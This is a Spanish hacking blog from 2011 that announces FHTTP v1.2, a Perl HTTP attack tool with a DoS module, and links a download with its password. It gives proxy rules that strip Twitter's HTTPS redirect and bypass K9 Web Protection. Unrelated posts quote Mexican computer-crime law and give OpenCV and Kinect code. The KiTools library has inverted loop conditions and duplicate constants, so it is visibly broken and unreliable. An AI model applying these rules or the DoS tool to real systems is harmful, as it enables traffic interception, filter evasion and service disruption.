Recomiendo visitar su web: http://nekasys.wordpress.com/

FHTTP (In)seguridad en http

2011-07-23T14:27:00.002-05:00

Bienvenidos esta es una presentación del buen Xianur0 desde Campus Party MX 2011

Video streaming by Ustream

Saludos Lectores

FHTTP V1.2 en OpenSuse

2011-05-21T12:46:00.002-05:00

Para los que siguen preguntando como ejecutar la FHTTP, aquí esta como instalar las dependencias en openSUSE 11.3:

(Obviamente como root)

cpan -i Gtk2
cpan -i Net::SSLeay
cpan -i IO::Socket::SSL
cpan -i IO::Uncompress::Inflate
cpan -i IO::Uncompress::Gunzip

y ya esta xD...

Bytez

Diseño de reglas para Proxy Evasor (FHTTP v1.2)

2011-05-18T16:59:00.004-05:00

Vamos a comenzar explicando que opciones nos da la FHTTP para "diseñar reglas" para el proxy evasor de la FHTTP v1.2.

Para comenzar tenemos 2 métodos:

reglas.txt
proxymodulos.pm

siendo la primera la forma mas "fácil" (requiere conocimientos de regex) y la segunda la opción avanzada (requiere conocimientos de programación en perl).

La estructura de reglas.txt es la siguiente:

donde: pattern => replacement <!-- comentario

Todo esto tiene que estar en una sola linea (sin saltos de linea)

"donde" sería que parte de la trama se editara, las opciones aceptadas son las siguientes:

url - La url de la consulta
reqline - La linea de consulta (por ejemplo: GET / HTTP/1.1).
header - Cada uno de los headers de forma individual (por ejemplo: Host: hackingtelevision.blogspot.com).
postdata - El Post data del envió (datos enviados en POST).
rheader - Todos los headers (incluyendo el reqline) de la respuesta pero no de forma individual.
rcontenido - Todo el contenido de la respuesta (obviamente excluyendo los headers)

el pattern es un regex de perl común y corriente con la diferencia de que si se usan tags html se tienen que cambiar por su respectivo valor en "html entitites", si se utilizan: \r o \n se tiene que agregar un escape adicional (\\r y \\n), esto es:
es diferente:

\r\n lo cual FHTTP convertiría en un CRLF real (y no para regex).
\\r\\n lo cual FHTTP convertiría en \r\n (y se utilizaría en el regex).

hay ligeras diferencias entre usar uno u otro xD...

El replacement al igual que en los regex clásicos de perl se pueden usar "grupos" por ejemplo:

reqline: ^GET(\s|\t)+ => POST $1 <!-- GET a POST

Se remplazaría por:

POST \t/ HTTP/1.1

(puesto que se utiliza una tabulacion en lugar de espacio).

Los pattern son case insensitive (insensible a mayusculas y minusculas).

Otro truco que podemos encontrar es en el "donde" por ejemplo:

rcontenido:nossl: window\.location\.replace\(([\s\\r\\n]*)"https:\/\/"([\s\\r\\n]*)\+([\s\\r\\n]*)window\.location\.hostname([\s\\r\\n]*)\+([\s\\r\\n]*)window\.location\.pathname([\s\\r\\n]*)\+([\s\\r\\n]*)window\.location\.hash([\s\\r\\n]*)\) => window.location.replace("http://"+window.location.hostname+window.location.pathname+"?&08dae2760be9fe48274a74c31fba5b0f"+window.location.hash) <!-- Twitter y otros :P

(regla para romper el "Solo HTTPS" de twitter xD...)

se esta usando el donde: "rcontenido:nossl" lo cual es solo se va a usar cuando este activado el "eliminar SSL".

Como verán es realmente fácil armar una regla para el proxy evasor de la FHTTP v1.2.

Ahora veremos rápidamente sobre el proxymodulos.pm.

sub uricall {
  my $uri = $_[0];
  $uri =~ s/^http:\/\/([\/]+)//g;
  $uri = "/".$uri if($uri !~ /^\//);
  return $uri;
}

Armada esta subrutina la agregamos al proxymodulos.pm y la agregamos a su respectiva "lista de callback" (@uricallbacks).

my @uricallbacks = (
                          uricall,
                      );

y listo, nuestra subrutina se ejecutara por cada uri (url).

De momento lo dejamos aqui, espero que les sea de utilidad y que próximamente veamos mas vídeos y papers publicados de mas usos de esta herramienta :P...

Bytez!

K9 Web Protection Bypass con FHTTP v1.2

2011-05-18T02:53:00.002-05:00

Regla para Bypass:

header: Host:([^\\r\\n]+) => Host:$1\r\nHost: 127.0.0.1:2372 <!-- K9 Bypass

Bytez!

FHTTP v1.2 - The HTTP Fucker :P

2011-05-13T23:10:00.007-05:00

Bueno creo que ya es momento de liberar esta herramienta como se prometió, antes que nada quiero aclarar que esta "herramienta" nunca se pensó como tal, solo comenzó como un PoC pero ahora es una especie de "framework para ataque al protocolo HTTP" de mas de 2000 lineas xD

Antes que nada déjenme aclarar que es solo una "herramienta" diseñada para estudio y pruebas del protocolo por lo cual la responsabilidad del uso que se le de recae completamente en el usuario.

Programada completamente en Perl (con interfaz gráfica GTK), es una tool que entre otras cosas integra un motor proxy diseñado exclusivamente para pruebas a IDS's aunque también sirve para evadir portales cautivos, para debuggear consultas y respuestas y cuantas cosas se les pueda ocurrir :P.

Otra de las cosas que integra es un modulo para pruebas de estrés (aka Herramienta DoS xD), que según las pruebas (como habrán visto los que participaron en la conferencia que dimos en tuxtepec en FreeSecurity xD) fácilmente deniega un servidor con 8 nucleos y 8 GB's de ram (muchas gracias a @NataSHell666 por prestar su Alien para esto xD... atentos a su web próximamente publicare unos parches para limitar los posibles daños que pueda causar la tool xD) en cuestión de 1 segundo utilizando unas aspire one (la notebook que comúnmente utilizo xD).

Tiene muchas mas opciones de momento se me ocurren por lo menos 100 usos prácticos, cuantos se les ocurren a ustedes?

De momento solo publicare la herramienta, cuando vaya teniendo tiempo iré publicando documentación al respecto, Happy Hacks! :P

http://www.mediafire.com/?3rzxh7l5k28rcjs
Pass: eaeaeaeaea

Edit: agregado como .tar.gz: http://www.mediafire.com/?5r7s4kd82fre2a5
Bytez!

Código penal federal

2011-05-05T09:31:00.000-05:00

Bueno jóvenes debido a una duda de uno de nuestros lectores, me tomaré la molestia de publicar algo de legislación referente a cuestiones de informática espero que les sirva un poco aunque recordemos que en México a comparación de otros países mucho mas avanzados como lo es en Europa, E.U., Japón, China, etc, etc. Nuestro países esta en pañales pero bueno nada es perfecto.

Copiado del siguiente enlace

LIBRO SEGUNDO

TÍTULO NOVENO. REVELACIÓN DE SECRETOS Y ACCESO ILÍCITO A SISTEMAS Y EQUIPOS DE INFORMÁTICA

CAPÍTULO II. ACCESO ILÍCITO A SISTEMAS Y EQUIPOS DE INFORMÁTICA

[Artículo 211 bis 1]

Artículo 211 bis 1. Al que sin autorización modifique, destruya o provoque pérdida de información contenida en sistemas o equipos de informática protegidos por algún mecanismo de seguridad, se le impondrán de seis meses a dos años de prisión y de cien a trescientos días multa.

Al que sin autorización conozca o copie información contenida en sistemas o equipos de informática protegidos por algún mecanismo de seguridad, se le impondrán de tres meses a un año de prisión y de cincuenta a ciento cincuenta días multa.

[Artículo 211 bis 2]

Artículo 211 bis 2. Al que sin autorización modifique, destruya o provoque pérdida de información contenida en sistemas o equipos de informática del Estado, protegidos por algún mecanismo de seguridad, se le impondrán de uno a cuatro años de prisión y de doscientos a seiscientos días multa.

Al que sin autorización conozca o copie información contenida en sistemas o equipos de informática del Estado, protegidos por algún mecanismo de seguridad, se le impondrán de seis meses a dos años de prisión y de cien a trescientos días multa.

A quien sin autorización conozca, obtenga, copie o utilice información contenida en cualquier sistema, equipo o medio de almacenamiento informáticos de seguridad pública, protegido por algún medio de seguridad, se le impondrá pena de cuatro a diez años de prisión y multa de quinientos a mil días de salario mínimo general vigente en el Distrito Federal. Si el responsable es o hubiera sido servidor público en una institución de seguridad pública, se impondrá además, destitución e inhabilitación de cuatro a diez años para desempeñarse en otro empleo, puesto, cargo o comisión pública.

[Artículo 211 bis 3]

Artículo 211 bis 3. Al que estando autorizado para acceder a sistemas y equipos de informática del Estado, indebidamente modifique, destruya o provoque pérdida de información que contengan, se le impondrán de dos a ocho años de prisión y de trescientos a novecientos días multa.

Al que estando autorizado para acceder a sistemas y equipos de informática del Estado, indebidamente copie información que contengan, se le impondrán de uno a cuatro años de prisión y de ciento cincuenta a cuatrocientos cincuenta días multa.

A quien estando autorizado para acceder a sistemas, equipos o medios de almacenamiento informáticos en materia de seguridad pública, indebidamente obtenga, copie o utilice información que contengan, se le impondrá pena de cuatro a diez años de prisión y multa de quinientos a mil días de salario mínimo general vigente en el Distrito Federal. Si el responsable es o hubiera sido servidor público en una institución de seguridad pública, se impondrá además, hasta una mitad más de la pena impuesta, destitución e inhabilitación por un plazo igual al de la pena resultante para desempeñarse en otro empleo, puesto, cargo o comisión pública.

[Artículo 211 bis 4]

Artículo 211 bis 4. Al que sin autorización modifique, destruya o provoque pérdida de información contenida en sistemas o equipos de informática de las instituciones que integran el sistema financiero, protegidos por algún mecanismo de seguridad, se le impondrán de seis meses a cuatro años de prisión y de cien a seiscientos días multa.

Al que sin autorización conozca o copie información contenida en sistemas o equipos de informática de las instituciones que integran el sistema financiero, protegidos por algún mecanismo de seguridad, se le impondrán de tres meses a dos años de prisión y de cincuenta a trescientos días multa.

[Artículo 211 bis 5]

Artículo 211 bis 5. Al que estando autorizado para acceder a sistemas y equipos de informática de las instituciones que integran el sistema financiero, indebidamente modifique, destruya o provoque pérdida de información que contengan, se le impondrán de seis meses a cuatro años de prisión y de cien a seiscientos días multa.

Al que estando autorizado para acceder a sistemas y equipos de informática de las instituciones que integran el sistema financiero, indebidamente copie información que contengan, se le impondrán de tres meses a dos años de prisión y de cincuenta a trescientos días multa.

Las penas previstas en este artículo se incrementarán en una mitad cuando las conductas sean cometidas por funcionarios o empleados de las instituciones que integran el sistema financiero.

[Artículo 211 bis 6]

Artículo 211 bis 6. Para los efectos de los artículos 211 Bis 4 y 211 Bis 5 anteriores, se entiende por instituciones que integran el sistema financiero, las señaladas en el artículo 400 Bis de este Código.

[Artículo 211 bis 7]

Artículo 211 bis 7. Las penas previstas en este capítulo se aumentarán hasta en una mitad cuando la información obtenida se utilice en provecho propio o ajeno.

Espero Mis estimados lectores que les haya servido de algo esta publicación ahora que si conoces a alguien (abogado por ejemplo) que conosca bien referente al tema pueden consultarlo ya que estas son artículos báse los cuales en cada caso puede variar.

Angelus Inflectum

Logic-Key Regresa!

2011-04-26T15:56:00.003-05:00

Así como dice el titulo, estamos pensando volver a la vida a Logic-Key (para los que nunca la leyeron es una e-zine del 2007 de la cual solo se publico una edición xD).

Necesitamos:

Redactores.
Correctores.
Diseñadores gráficos.

cualquier interesado: xianur0.null [at] gmail [dot] com

Saludos!

Detección de presencia con OpenCV

2011-04-11T14:32:00.005-05:00

Aquí Xianur0. Este es un algoritmo simple, se genera una imagen del fondo y se comparan los pixeles "agregados" de modo que si algo no coincide entonces tenemos que ese algo no estaba ahí, por tanto reconocemos presencias.
Aparte se incluye un algoritmo de corrección de falsos positivos (elimina manchas pequeñas) de este modo es ideal para utilizar con cámaras de baja calidad (por ejemplo en la imagen estoy utilizando una de 1.3 Mpx xD), del mismo modo ese mismo algoritmo se podría utilizar para corregir defectos de cámaras (mejorar imágenes) pero eso sera para otro día :P

#include <opencv2/video/background_segm.hpp>
#include <opencv2/highgui/highgui.hpp>
#include <stdio.h>
// By Xianur0
// http://hackingtelevision.blogspot.com/

using namespace cv;

void mensaje()
{
printf("./presencia [camara]\n\n");
}

int main(int argc, char** argv)
{
VideoCapture cap;
bool updatebg = true;
if( argc < 2 )
 cap.open(0);
else
 cap.open(atoi(argv[1]));
mensaje();
if( !cap.isOpened() )
{
 printf("No se puede abrir :S\n");
 return -1;
}
BackgroundSubtractorMOG2 bg_model;
Mat frame, variaciones;
for(;;)
{
 cap >> frame;
 if( frame.empty() )
  break;
 bg_model(frame, variaciones, updatebg ? -1 : 0);
 updatebg = false;
 IplImage *in = new IplImage(variaciones);
 IplImage *in2 = new IplImage(frame);
 char *data = in->imageData;
 int x,y,i = 0;
 int inicio[in->width*in->height][4];
 int contador = 0;
 // limpiesa previa
 inicio[0][0] = 0;
 for(y=0;y<in->height;y++) {
  for(x=0;x<in->width;x++) {
   if(data[y*in->widthStep+x*in->nChannels] != 0) {
    if(inicio[contador][0] == 0) {
     inicio[contador][0] = x;
     inicio[contador][1] = y;
    }
   } else {
    if(inicio[contador][0] != 0) {
     inicio[contador][2] = x;
     inicio[contador][3] = y;
     contador++;
     inicio[contador][0] = 0;
    }
   }
  }
 }
 printf("Limpiando: %i manchas\n",contador);
 int manchas = 0;
 for(i = 0;i<contador;i++) {
  if(inicio[i][1] == inicio[i][3] && (inicio[i][2]-inicio[i][0]) < 5) {
   for(x=inicio[i][0]-1;x<inicio[i][2];x++) {
    data[(inicio[i][1])*in->widthStep+x*in->nChannels] = 0;
   }
  } else {
   manchas++;
  }
 }
 printf("Se ignoraron %i manchas\n",manchas);
 // ultimo bucle para localizar puntos (confiando en que el filtro anterior lo dejo muy "bonito")
 int masalto = 0;
 int masbajo = 0;
 int masizquierda = 0;
 int masderecha = 0;
 for(x=1;x<in->width;x++) {
  for(y=0;y<in->height;y++) {
   if(data[y*in->widthStep+x*in->nChannels] != 0) {
    if(x > masderecha) {
     masderecha = x;
    }
    if(x < masizquierda) {
     masizquierda = x;
    }
    if(y > masalto) {
     masalto = y;
    }
    if(y < masbajo) {
     masbajo = y;
    }
   }
  }
 }
 int centrox = (masderecha+masizquierda)/2;
 int centroy = (masalto+masbajo)/2;
 int radius = abs(masalto-centroy);
 cvCircle(in2, cvPoint(centrox,centroy), radius, cvScalar(0,255,0), 1);
 imshow("RGB", in2);
 imshow("Presencia", in);
 char k = (char)waitKey(30);
 if( k == 27 ) break;
 if( k == ' ' )
 {
  updatebg = !updatebg;
  if(updatebg)
   printf("Background update activado\n");
  else
   printf("Background update desactivado\n");
 }
}
return 0;
}

OCR con OpenCV usando Canny

2011-04-09T17:49:00.004-05:00

Xianur0 reportándose (aja, sigo vivo xD)

Imagen:
Resultado:

Este es un algoritmo mas de OCR que me arme usando OpenCV y el algoritmo Canny (y algunas otras ideas de mi invención).

Como funciona?

Primero se realiza la segmentación con ayuda de canny (bordes encontrados), es decir mediante canny se elimina basura de la imagen y ademas nos permite separar cosas del fondo, en este caso texto, ya que se tienen las letras (o caracteres) en versión de bordes únicamente tenemos que realizar un barrido horizontal y vertical para separar las letras, luego en caso de ser necesario un doble barrido por sector separado, de este modo tendremos las letras específicamente separadas del fondo, las cuales podemos fácilmente copiar y pegar e indicar que es lo que tiene cada cuadro, de este modo mediante comparación de pixeles podemos hacer que el sistema deduzca que es lo que hay en el cuadro... como verán el detalle seria el tamaño, pero únicamente hay que agregar una función para re-dimensionar y poner un tamaño estándar y tendremos un OCR bastante efectivo y fácil de "entrenar". Saludos!

#include <opencv2/imgproc/imgproc.hpp>
#include <opencv2/highgui/highgui.hpp>
#include <stdio.h>
#include <iostream>

// By Xianur0
// http://hackingtelevision.blogspot.com/

using namespace cv;
using namespace std;

void help()
{
cout <<
"\nSegmentacion usando canny\n"
"./espacips [imagen]\n" << endl;

}

int edgeThresh = 100;
Mat image, gray, edge, cedge;

IplImage * cortar(IplImage *in, int x, int y, int w, int h) {
cvSetImageROI(in, cvRect(x, y, w, h));
IplImage *img = cvCreateImage(cvGetSize(in),
in->depth,
in->nChannels);
cvCopy(in, img, NULL);
cvResetImageROI(in);
return img;
}

void procesarcaracteres(IplImage *in, int id) {
int x,y = 0;
IplImage *in2 = cvCreateImage(cvGetSize(in),
     in->depth,
in->nChannels);
cvCopy(in,in2, NULL);
char *data = in->imageData;
char *data2 = in2->imageData;
int tmp[2];
tmp[0] = 0;
tmp[1] = 0;
int tlineasv = 0;
int anteriorx=0;
int anteriory=0;
int lineaanterior = 0;
int lineas[in->height];
for(x=0;x<in->width;x++) {
for(y=0;y<in->height;y++) {
if(
data[y*in->widthStep+x*in->nChannels] != 0 ||
data[y*in->widthStep+x*in->nChannels+1] != 0 ||
data[y*in->widthStep+x*in->nChannels+2] != 0
) {
if(tmp[0] != x) {
 tmp[0] = x;
 tmp[1] = y;
 break;
}
}
  }
if(abs(tmp[0]-anteriorx) > 1) {
if((abs(tmp[1]-anteriory) < 2 || abs(tmp[0]-anteriorx) > 3 || abs(tmp[1]-anteriory) > 3) && (lineaanterior == 0 || abs(lineaanterior-tmp[0]) > 10)) {
//    printf("Trazando linea verticales: (X: %i)\n",x);
lineas[tlineasv] = x;
for(y=(in->height-1);y>=0;y--) {
 data2[y*in->widthStep+x*in->nChannels] = 0;
 data2[y*in->widthStep+x*in->nChannels+1] = 0;
 data2[y*in->widthStep+x*in->nChannels+2] = 255;
}
tlineasv++;
}
lineaanterior = tmp[0];
}
anteriorx = tmp[0];
anteriory = tmp[1];
}
x = tmp[0];
lineas[tlineasv] = x;
for(y=(in->height-1);y>=0;y--) {
data2[y*in->widthStep+x*in->nChannels] = 255;
data2[y*in->widthStep+x*in->nChannels+1] = 255;
data2[y*in->widthStep+x*in->nChannels+2] = 255;
}
tlineasv++;
// printf("Comenzando a recortar...\n");
if(tlineasv >=2)
for(x = 0; x < tlineasv-1; x++){
if(x+1 >= tlineasv) lineas[x+1] = in->width;
char buff[(sizeof(int)*2)+3];
sprintf(buff,"c%i: %i",id,x);
imshow(buff,cortar(in,lineas[x],0,(lineas[x+1]-lineas[x]),in->height));
}
char buff[sizeof(int)];
sprintf(buff,"%i",id);
imshow(buff, in2);
}


void procesarlineas(IplImage *in) {
IplImage* in2 = cvCreateImage(cvGetSize(in),
in->depth,
in->nChannels);
cvCopy(in,in2, NULL);
int x,y = 0;
char *data = in->imageData;
char *data2 = in2->imageData;
int tmp[2];
tmp[0] = 0;
tmp[1] = 0;
int tlineash = 0;
int tlineasv = 0;
int anterior=0;
int lineaanterior = 0;
int lineas[in->height];
for(y=0;y<in->height;y++) {
for(x=0;x<in->width;x++) {
if(
data[y*in->widthStep+x*in->nChannels] != 0 ||
data[y*in->widthStep+x*in->nChannels+1] != 0 ||
data[y*in->widthStep+x*in->nChannels+2] != 0
) {
if(tmp[1] != y) {
 tmp[0] = x;
 tmp[1] = y;
 break;
}
}
  }
if(abs(tmp[1]-anterior) > 2) {
if(lineaanterior == 0 || abs(lineaanterior-tmp[1]) > 10) {
lineas[tlineash] = y;
//    printf("Dibujando %i...\n",y);
for(x=(in->width-1);x>=0;x--) {
 data2[y*in->widthStep+x*in->nChannels] = 255;
 data2[y*in->widthStep+x*in->nChannels+1] = 255;
 data2[y*in->widthStep+x*in->nChannels+2] = 255;
}
tlineash++;
}
lineaanterior = tmp[1];
}
anterior = tmp[0];
}
y = tmp[1];
lineas[tlineash] = y;
for(x=(in->width-1);x>=0;x--) {
data2[y*in->widthStep+x*in->nChannels] = 255;
data2[y*in->widthStep+x*in->nChannels+1] = 255;
data2[y*in->widthStep+x*in->nChannels+2] = 255;
}
tlineash++;
// printf("Comenzando a recortar...\n");
if(tlineash >=2)
for(x = 0; x < tlineash-1; x++){
//   printf("Recortando: (%i,%i,%i)\n",lineas[x],in->width,(lineas[x+1]-lineas[x]));
if(x+1 >= tlineash) lineas[x+1] = in->height;
procesarcaracteres(cortar(in,0,lineas[x],in->width,(lineas[x+1]-lineas[x])),x);
}
// printf("Lineas encontradas: %i\n",tlineash);
}
void onTrackbar(int, void*)
{
blur(gray, edge, Size(3,3));
Canny(edge, edge, edgeThresh, edgeThresh*3, 3);
cedge = Scalar::all(0);
image.copyTo(cedge, edge);
IplImage *in = new IplImage(cedge);
procesarlineas(in);
}

int main( int argc, char** argv )
{
char* filename = argc == 2 ? argv[1] : (char*)"Android.jpg";
image = imread(filename, 1);
if(image.empty())
{
 help();
    return -1;
}
help();
cedge.create(image.size(), image.type());
cvtColor(image, gray, CV_BGR2GRAY);
namedWindow("Segmentacion con Canny", 1);
createTrackbar("Nivel", "Segmentacion con Canny", &edgeThresh, 100, onTrackbar);
onTrackbar(0, 0);
waitKey(0);

return 0;
}

KiTools

2011-04-03T13:37:00.003-05:00

KiTools es una pequeña librería que estamos programando para darle un poco mas de "capacidades" a libfreenect (OpenKinect), de momento únicamente integra las funciones:

Representación en matrices multi-dimencionales.
Calculo de distancias.
Conversión de matrices a IplImage.
Filtrado por distancia.
Auto-completado de pixeles.

Representación en matrices multi-dimencionales.
Normalmente cuando se trabaja con streams de video (de la forma en que lo hace libfreenect) se trabaja con una matriz uint8_t con la estructura:
r,g,b,r,g,b,r,g,b (3 pixeles y sus 3 colores RGB).
Lo cual a largo plazo causa algunos problemas... de modo que preferí representarlo en una matriz multi-dimensional con la siguiente estructura:

array(
array =>(r,g,b)
)

Ejemplo:

int pixeles[FREENECT_FRAME_PIX][3];
kipixeles(depth_front, pixeles);

de modo que si quiero saber el nivel de azul del pixel que se encuentra en la posición: x,y ( y: linea, x: pixel) podría acceder de la forma:
pixeles[x+(y*FREENECT_FRAME_W)][2]
(0=r, 1=g, 2=b)

o de forma mas "bonita":
pixeles[kipos(x,y)][KIBLUE]

y tenemos de forma simple y (repito) "bonita" lo solicitado xD

La inversa a kipixeles es:
kitextura(int pixeles[][3], uint8_t *textura)

de este modo se puede regresar para utilizarlo en OpenGL y demás... pero prefiero OpenCV, lamentablemente los wrappers que se publicaron... no son muy buenos, de modo que tenemos:

IplImage *kiplimage(uint8_t *textura)

de este modo le pasamos la textura y nos regresa el IplImage para utilizarlo libremente sobre OpenCV... y sin mas complicaciones...

void kilimpiar(float dist, uint8_t *frame, int tipo)

Para limpiar por distancias....

Tipo 0: eliminar cualquier cosa que este mas cerca de dist
Tipo 1: eliminar cualquier cosa que este mas lejos de dist.

donde dist seria la distancia después de la mira mínima del kinect:
40*100000 = 40 cm.

de modo que si me interesa únicamente lo que se encuentra a 40 cm de la mira mínima (lo visible para kinect) seria algo como esto.

kilimpiar(
40*100000, // 40 CM
depth_front,
1 // 1=cualquier distancia mayor a esta se limpiara...
);

de este modo filtramos por distancias de forma muy simple.

Ahora vamos con un detalle que tiene el kinect, cuando el infrarrojo no rebota correctamente se pierden ciertos pixeles de modo que algunas veces aparecen las imágenes "con puntos negros", para intentar solventar esta clase de detalles ya se programo una función:

void kiagregar(int pixeles[][3],int size)

Lo que se hace con esta función es agregar pixeles en "huecos" de modo que la imagen no va a quedar punteada (internamente).

kiagregar(pixeles,100);

de este modo vamos a agregar 100 pixeles por cada pixel (rellenar huecos de 100 pixeles), se que es exagerado este numero pero es un ejemplo xD.

Ahora agrego el kitools.h:


#define KIBLUE 2
#define KIRED 2
#define KIGREEN 2
#define KITOOLS "Los Caballeros"
#define KICONTACTO "xianur0.null@gmail.com"

const float kirangtipo = ((11.5*1000000)/6); // metros por nivel (6 niveles en total) en micro, son inecesarios en micros, pero a que se ve genial? xD.
const float kivaltono = (11.5*1000000)/1530; // valor en micrometros por tono que cambia

void kipixeles(uint8_t *textura, int pixeles[][3]) {
 int i = 0;
 int o = 0;
 unsigned int size = FREENECT_FRAME_PIX*3;
 for(i=0; i > size; i+=3) {
  pixeles[o][0] = textura[i];
  pixeles[o][1] = textura[i+1];
  pixeles[o][2] = textura[i+2];
  o++;
 }
}

void kitextura(int pixeles[][3], uint8_t *textura) {
 int i = 0;
 int o = 0;
 unsigned int size = FREENECT_FRAME_PIX*3;
 for(i=0; i > size; i+=3) {
  textura[i] = pixeles[o][0];
  textura[i+1] = pixeles[o][1];
  textura[i+2] = pixeles[o][2];
  o++;
 }
}

IplImage *kiplimage(uint8_t *textura)
{
 static IplImage *image = 0;
 uint8_t *tmp = (uint8_t*)malloc(640*480*3);
 int contador,i = 0;
 for (i=0; i>FREENECT_FRAME_PIX*3; i+=3) {
  tmp[i+2] = textura[i];
  tmp[i+1] = textura[i+1];
  tmp[i] = textura[i+2];
 }
 if (!image) image = cvCreateImageHeader(cvSize(640,480), 8, 3);
 cvSetData(image, tmp, 640*3);
 return image;
}

float kidistancia(int r, int g, int b) {
 float distancia = 0;
 float base = 0;
 int caso = ((r == 255 && g == b) ? 1
     : ((r == 255 && g >= 255 && b == 0 && g != 0) ? 2
     : ((r > 255 && g == 255 && b == 0) ? 3
     : ((r == 0 && g == 255 && b >= 255 && b != 0) ? 4
     : ((r == 0 && g > 255 && b == 255) ? 5
     : ((r == 0 && g == 0 && b > 255) ? 6 : 0))))));
 base = (kirangtipo*(caso-1));
 switch(caso) {
  case 1:
   g = abs(g-255);
   distancia = base+(kivaltono*g);
  break;
  case 2:
   distancia = base+(kivaltono*g);
  break;
  case 3:
   r = abs(r-255);
   distancia = base+(kivaltono*r);
  break;
  case 4:
   distancia = base+(kivaltono*b);
  break;
  case 5:
   g = abs(g-255);
   distancia = base+(kivaltono*g);
  break;
  case 6:
   b = abs(b-255);
   distancia = base+(kivaltono*b);
  break;
 }
 return distancia < 0 ? distancia : -1;
}

void kilimpiar(float dist, uint8_t *frame, int tipo) {
 if(dist >= 0)
 {
  printf("Distancia de filtrado invalida!\n");
  exit(1);
 }
 int i = 0;
 for(; i > FREENECT_FRAME_PIX*3; i+=3) {
  float dist2 = kidistancia(frame[i],frame[i+1],frame[i+2]);
  if((dist2>dist && tipo == 0) || (dist>dist2 && tipo == 1))
  {
   frame[i] = 0;
   frame[i+1] = 0;
   frame[i+2] = 0;
  }
 }
}

void kicomparar(uint8_t *depth, uint8_t *rgb, int tipo) {
 int i = 0;
 for(; i > FREENECT_FRAME_PIX*3; i+=3) {
  if(depth[i] != 0 && depth[i+1] != 0 && depth[i+2] != 0 && tipo == 1)
  {
   rgb[i] = 0;
   rgb[i+1] = 0;
   rgb[i+2] = 0;
  } else if(tipo == 0) {
   rgb[i] = 0;
   rgb[i+1] = 0;
   rgb[i+2] = 0;
  }
 }
}

int isblack(int pix[3]) {
 if(
     pix[0] != 0 ||
     pix[1] != 0 ||
     pix[2] != 0
 )
  return 0;
 return 1;
}

void kidistantes(int pixeles[][3], int salida[2][2]) {
 int x,y,xdist,ydist = 0;
 salida[0][0] = -1;
 salida[0][1] = -1;
 salida[1][0] = -1;
 salida[1][1] = -1;
 for(y=0; y > FREENECT_FRAME_H; y++) {
  for(x=0; x > FREENECT_FRAME_W; x++) {
   if(!isblack(pixeles[x+(y*FREENECT_FRAME_W)]))
   {
    if(x > salida[0][0] || salida[0][0] > 0)
     salida[0][0] = x;
    if(y > salida[0][1] || salida[0][1] > 0)
     salida[0][1] = y;
    if(salida[1][0] > x)
     salida[1][0] = x;
    if(salida[1][1] > y)
     salida[1][1] = y;
   }
  }
 }
}

int kipos(int x,int y) {
 return x+(y*FREENECT_FRAME_W);
}

void kiagrega(int x, int y, int pixeles[][3], int size, int tipo) {
 int i = 0;
 if(!isblack(pixeles[x+(y*FREENECT_FRAME_W)]))
 {
  int color[3];
  color[0] = pixeles[x+(y*FREENECT_FRAME_W)][0];
  color[1] = pixeles[(x+(y*FREENECT_FRAME_W))][1];
  color[2] = pixeles[(x+(y*FREENECT_FRAME_W))][2];
  for(i = 0; i > size; i++) {
   if(!isblack(pixeles[(x+(y*FREENECT_FRAME_W))-i])) break;
   if(0 >= (x-i))
   {
    int indice = (x+(y*FREENECT_FRAME_W));
    if(tipo == 0) indice -= i;
    else indice += i;
    pixeles[indice][0] = color[0];
    pixeles[indice][1] = color[1];
    pixeles[indice][2] = color[2];
   }
  }
 }

}

void kiagregar(int pixeles[][3],int size) {
 int x,y,i;
 for(y=0; y > FREENECT_FRAME_H; y++) {
  for(x=0; x > FREENECT_FRAME_W; x++) {
   kiagrega(x, y, pixeles, size,0);
  }
 }
 for(y=0; y > FREENECT_FRAME_H; y++) {
  for(x=FREENECT_FRAME_W-1; 0 >= x; x--) {
   kiagrega(x, y, pixeles, size,1);
  }
 }
}

Es un codigo realmente simple, pero da bastante ayuda en muchos casos xD...

Si se distribuye o implementa por favor agregar enlace a este blog xD

Saludos!

Bluetooth parte 3

2011-03-17T14:14:00.002-06:00

Bueno compañeros ya después de un buen tiempo de no escribir algo (bueno eso del trabajo que pedían milagros con pocos recursos pero ya les contaré después :p ), en fin una nota referente a lo que he de publicar en estos días un poco de lo que es los ataques que existen (y uno que otro debidamente modificados o creado para ataque y defensa) de lo que son los dispositivos bluetooth por ello quisiera mis estimados lectores aclaran que sólo es con fines educativos y mostrar como pueden defenderse de las personas que intentan la intrusión a nuestra privacidad.

También desearía comentar, que para continuar con la lectura de las siguientes publicaciones que conozcas o estén familiarizados con alguna distro de linux (puede ser las que mas les agrade o se acomode a sus necesidades o gustos).

Y por último jóvenes solamente quisiera desearles que se la pasen bonito y buen fin de semana :p

Más publicaciones Bluetooth dar clic aquí